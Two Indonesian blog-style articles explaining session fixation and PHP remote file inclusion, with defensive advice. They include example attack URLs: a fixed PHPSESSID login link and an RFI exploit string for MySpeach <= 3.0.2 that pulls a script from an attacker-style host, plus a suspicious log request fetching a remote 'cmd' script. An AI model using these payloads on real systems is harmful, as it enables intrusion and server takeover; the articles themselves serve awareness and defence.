Hindari Session Fixation

Session Fixation adalah salah satu teknik yang biasa digunakan para hacker untuk membobol suatu website. Pada teknik ini, hacker membuat halaman sendiri sebagai halaman tiruan yang berisi link lengkap dengan session id yang telah ditentukan olehnya.

Sebagai contoh misalkan ada sistem login pada sebuah situs dengan URL http://situs.com/login.php. Biasanya proses login tersebut disertai session id yang sifatnya acak. Dalam hal ini hacker bisa aja membuat suatu halaman yang merujuk ke alamat tadi dengan menambahkan Query String seperti http://situs.com/login.php?PHPSESSID=56789

Terlihat bahwa hacker telah mendefinisikan session id sendiri dengan tetap (fixed session) yaitu 56789. Sehingga apabila user lain melakukan login melalui link tersebut, maka pada saat yang sama hacker bisa masuk dengan mudah ke halaman admin karena telah memiliki session yang sama. Dalam hal ini session telah dibajak oleh hacker tadi. Continue reading

PHP Injection

Remote file inclusion dapat diartikan sebagai penyisipan sebuah file dari luar suatu file dalam sebuah webserver dengan tujuan script didalam akan dieksekusi pada saat file yang disisipi di-load. Tehnik ini sendiri mengharuskan webserver yang bersangkutan mampu menjalankan server side scripting (PHP, ASP, etc) serta file yang disisipi dibuat menggunakan bahasa script tersebut. Target remote file inclusion biasanya berbentuk sebuah portal atau content management system (CMS) sehingga banyak sekali jumlah website yang rawan terhadap serangan tipe ini.

Dalam artikel ini kita akan lebih banyak membahas bagaimana proses file inclusion (yang selanjutnya kita sebut dengan istilah ‘injeksi’) bisa terjadi dalam bahasa PHP.

° BAGAIMANA BISA TERJADI ?

Sebuah serangan file inclusion terjadi didasarkan pada kesalahan atau ketidaksengajaan pendeklarasian variabel-variabel dalam sebuah file. Sebuah variabel yang tidak dideklarasikan atau didefinisikan secara benar dapat di eksploitasi. Syarat terjadinya injeksi sendiri terdiri dari:

1. Variabel yang tidak dideklarasikan dengan benar (unsanitized variables)

Variabel dalam PHP mempunyai sintaks:

#1 include ($namavariable. “/file…”)
#2 require_once ($namavariable. /file…)
#3 include_once ($variable. /file…)

Misalnya kita memiliki sebuah file bernama jscript.php dan didalamnya terdapat variabel seperti ini:


include($my_ms[”root”].’/error.php’);

Variabel tersebut memiliki kemungkinan untuk disisipi file dari luar webserver dengan eksploit script injeksi PHP:

http://www.target.com/[Script Path]/jscript.php?my_ms[root]=http://www.injek-pake-kaki.com/script?

Diatas adalah contoh eksploitasi MySpeach < = v3.0.2 (my_ms[root])

2. Setting dalam file PHP.ini

#1. register_globals=On
#2. magic_quotes=off
#3. allow_fopenurl=on

° BERBAHAYAKAH ?

File inclusion memiliki level resiko tinggi (High Risk) bahkan level sangat berbahaya (Very Dangerous) karena injeksi memperkenankan pelakunya untuk melakukan eksekusi perintah jarak jauh (Remote Commands Execution) terhadap server. Tindakan ini sangat membahayakan bagi sebuah server jika pelakunya mencoba untuk mendapatkan hak akses lebih tinggi dengan cara melakukan eksploitasi lokal, sehingga bisa saja pelaku mendapatkan akses administrator atau root.

Secara garis besar resiko serangan ini adalah:

1. Web root folder / subdirectory defacing.
2. Previledge escalation (mendapatkan hak akses lebih tinggi).
3. Menjalankan proses dalam server (psyBNC, bots, dsb)
4. Pilfering a.k.a pencurian data (such as credentials information, credit cards, etc..)
5. Dan banyak lagi…!!! Termasuk tindakan pengambilalihan server dan ddos!

° SISTEM OPERASI APA YANG KEBAL ?

Saya teringat permainan C&C Generals (my fave game!) saat seorang hacker keluar dari barak. Mereka mengucapkan “NO SYSTEMS IS SAFE!”. Tepat sekali! Tidak ada sistem operasi yang aman dari serangan injeksi selama mereka menggunakan server side scripting yang dapat dieksploitasi, tak peduli apakah itu Microsoft Windows, LINUX, FreeBSD, Solaris, Darwin OS, dan lain-lainnya.

° APA YANG HARUS DILAKUKAN ?

Banyak sekali portal dan komunitas white hat yang sering merilis bugs terbaru seputar injeksi. Cara paling aman adalah selalu memperhatikan perkembangan yang mereka lakukan sehingga anda dapat melakukan sedikit perbaikan yang berarti terhadap CMS yang mungkin sekarang anda gunakan. Selalu perhatikan raw log yang biasanya terdapat pada layanan hosting anda. Jika terdapat fetching yang agak menyimpang seperti GET /index.php?page=http://www.injek-pake-kaki.net/cmd? anda wajib curiga, karena bisa saja ini serangan terhadap web atau portal yang anda kelola.

Salah satu tehnik paling aman bagi seorang administrator adalah selalu memperhatikan usaha-usaha infiltrasi dan usaha eksploitasi lokal. Gunakan firewall guna mencegah penyusupan orang-orang yang tidak bertanggung jawab dan memperhatikan port-port server yang sedang terbuka.

° ENDING

Artikel ini saya tulis berdasarkan apa yang saya ketahui, dan jika terdapat kesalahan karena ketidaktahuan saya anda dapat menghubungi saya lewat email. Pengalaman adalah guru yang terbaik untuk kita semua. Semua bisa saja terjadi karena tidak ada pribadi yang diciptakan sempurna. Nobody is perfect! No systems is safe!

° REFERENSI

– http://net-square.com/papers/one_way/one_way.html
– www.milw0rm.com (Bagus buat exploit bug)
– www.google.com (Dukun Internet )